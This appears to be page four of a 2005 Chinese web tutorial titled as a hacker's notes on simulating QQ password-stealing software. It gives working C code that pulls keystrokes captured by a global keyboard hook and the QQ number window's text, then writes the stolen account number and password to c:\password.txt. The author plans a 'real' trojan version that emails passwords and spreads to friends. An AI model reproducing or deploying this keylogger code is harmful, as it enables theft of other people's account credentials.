设计 工具 系统 开发 安全 办公 陶吧 IT教育 Vista频道|Google Chrome SOA案例研究
您现在的位置: 天极网 > 软件频道 > 网络安全频道 > 黑客技术 > 黑客心得:盗QQ密码的软件模拟实现技术
全文

黑客心得:盗QQ密码的软件模拟实现技术

2005-06-17 14:45作者:出处:天极论坛责任编辑:赵彪
  第四部分:(4)处理密码

  如果您读到了此处,我想得暂停一会,先让我来帮你回忆一下前面提到的几个关键的变量

  第一个:QQ号的子窗口句柄 g_hNum

  第二个:QQ密码的子窗口句柄 g_hPsw //此部分暂时不使用,下面

  第三个:存键盘按键的 pmsg

  上面三变量分别出现在第二部分和第三部分,都是全局共享(shared)变量

  QQ密码的子窗口句柄 g_hPsw 此部分暂时不使用,你可以看到下面代码中有句用到g_hPsw的语句是我注释掉了的,原因是无法通过那样去得到QQ密码,得处理按键消息

  void GetPasswrod()

  {

  //声明变量和初始化

  HANDLE f;

  TCHAR num[13];

  TCHAR psw[21];

  TCHAR total[50];

  int j;

  memset(num,0,sizeof(num));

  memset(total,0,sizeof(total));

  memset(psw,0,sizeof(psw));

  DWORD dw;

  //得到QQ号的内容,以为有的人的QQ号是在登陆框有记录,其QQ号并是用键盘输入的

  GetWindowText(g_hNum,(LPSTR)num,sizeof(num));

  //GetWindowText(g_hPsw,(LPSTR)psw,sizeof(psw)); //此句不使用,无法这样获得密码

  //提取出键盘记录,此内容也许全是密码,也许是QQ号+QQ密码

  for(j=0;j<20;j++)

  {

  psw[j]=(TCHAR)pmsg[j*2].wParam ;

  }

  psw[j+1]='\0';

  //把QQ号码和QQ密码写入C盘password.txt中

  f=CreateFile("c:\\password.txt",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

  strcat(total,"号码");

  strcat(total,num);

  strcat(total,"密码:");

  strcat(total,psw);

  WriteFile(f,&total,sizeof(total),&dw,NULL);

  CloseHandle(f);

  }

  最后在C盘password.txt也许会出现这样两种情况:

  1)当QQ号是没有用输入,而已用的粘贴或者是电脑以前有记录则是:号码:21728812密码:TEST

  2) 当QQ号是用的键盘输入,电脑没有QQ号记录时则是: 号码:21728812密码:21728812TEST

  可以看出,第2种情况把QQ当成了密码了,所以密码还得减去QQ号,

  特别说明:我这样直接处理wParam参数,得到的字符密码全是大写的,具体大小写问题我没有就没有仔细去处理的,功能实现就行了,毕竟我使用他不用来盗密码的!

  上面四部分基本上获得密码的功能介绍完毕。凡是没有介绍的变量皆是全局变量,没有提到的函数如:GetWindowThreadProcessId(),SetWindowsHookEx(),UnhookWindowsHookEx(),CallNextHookEx(),CreateFile(),WriteFile()等皆是Windows API,详细使用说明请查MSDN(http://www.msdn.com),我提到的“HOOK”,“钩子”是同一个意思,也许有的地方我说的钩子函数,而另外一个地方说的是HOOK函数

  特别说明:上面有具体的运行文件,由于小弟并没有考虑到更多细节,我只是用了“理想”状况下去获得密码,并且或的密码后并没有注重后期密码处理,也许出现密码大小写不符合或是无法得到密码,请大家千万别笑话,我写这篇菜鸟级别的Blog的原因意在告诉一些对这方面感到疑惑的朋友基本的原理,和希望和大侠们交流 !

  后期如果有必要的话,我准备进行改版,按照“真正”的QQ“木马”来写,如:对QQ版本进行识别,密码自动发送到E-MAIL,加入QQ尾巴代码,使其自动传给好友的等功能!请关注我的主页 http://www.uisoft.net

  注意:我使用的QQ2005 贺岁版 版本号:13.5.0.8213,其他版本的QQ我无法保证可以正确的到密码!

  参考资料:MSDN,Titilima的QQ尾巴病毒模拟代码

共4页。 9 1 2 3 4
相关搜索:
相关文章及软件
关注此文读者还看过
热门关注
特别推荐
文章排行
本周
本月
最近更新
关于我们|网站律师|天极服务|电子杂志|RSS订阅|加入我们|网站地图
TMG
Copyright (C) 1999-2008 Chinabyte.com, All Rights Reserved 版权所有 天极网络
商务联系、网站内容、合作建议:010-82657868
版权声明 在线提交意见反馈 Powered by 天极内容管理平台CMS4i
经营性网站备案信息 网警备案 中国网站排名
天极传媒:天极网|比特网|IT专家网|IT商网|52PK游戏网|IT分众